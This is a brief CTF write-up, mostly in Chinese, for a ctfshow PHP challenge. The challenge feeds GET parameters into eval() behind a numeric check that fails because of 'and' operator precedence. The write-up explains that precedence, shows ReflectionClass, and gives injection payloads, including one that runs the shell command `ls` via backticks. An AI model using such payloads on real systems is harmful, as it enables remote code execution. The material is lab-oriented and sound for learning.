highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET[‘v1‘];
$v2=$_GET[‘v2‘];
$v3=$_GET[‘v3‘];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\;/", $v2)){
        if(preg_match("/\;/", $v3)){
            eval("$v2(‘ctfshow‘)$v3");
        }
    }
    
}
?>

and与&&的区别
<?php
$a = true and false and false;
var_dump($a);
#结果为 true
$a = true && false && false;
var_dump($a);
#结果为 false

反射类ReflectionClass的使用
<?php
class A{
public static $flag="flag{xxx}";
const PI = 3.14;
static function hello(){
     echo "hello</br>";
}
}
$a = new ReflectionClass(‘A‘);
var_dump($a -> getConstants());#获取一组常量
#输出
 array(1){
 ["PI"]=>
  float(3.14)
 }
var_dump($a->getName());#获取类名
#输出
 string(1)"A"
var_dump($a->getStaticProperties());#获取静态属性
#输出
 array(1){
 ["flag"]=>
 string(9) "flag{xxx}"
 }
var_dump($a->getMethods());#获取类中的方法
#输出
array(1) {
  [0]=>
  object(ReflectionMethod)#2 (2) {
    ["name"]=>
    string(5) "hello"
    ["class"]=>
    string(1) "A"
  }
}

payload:
?v1=1&&v2=echo new ReflectionClass&v3=;
非预期①
paylaod:?v1=1&v2=var_dump($ctfshow)/*&v3=*/;
#直接输出$ctfshow;构造出 var_dump($ctfshow);
非预期②
payload:?v1=1&v2=?><?php echo `ls`?>/*&v3=;*/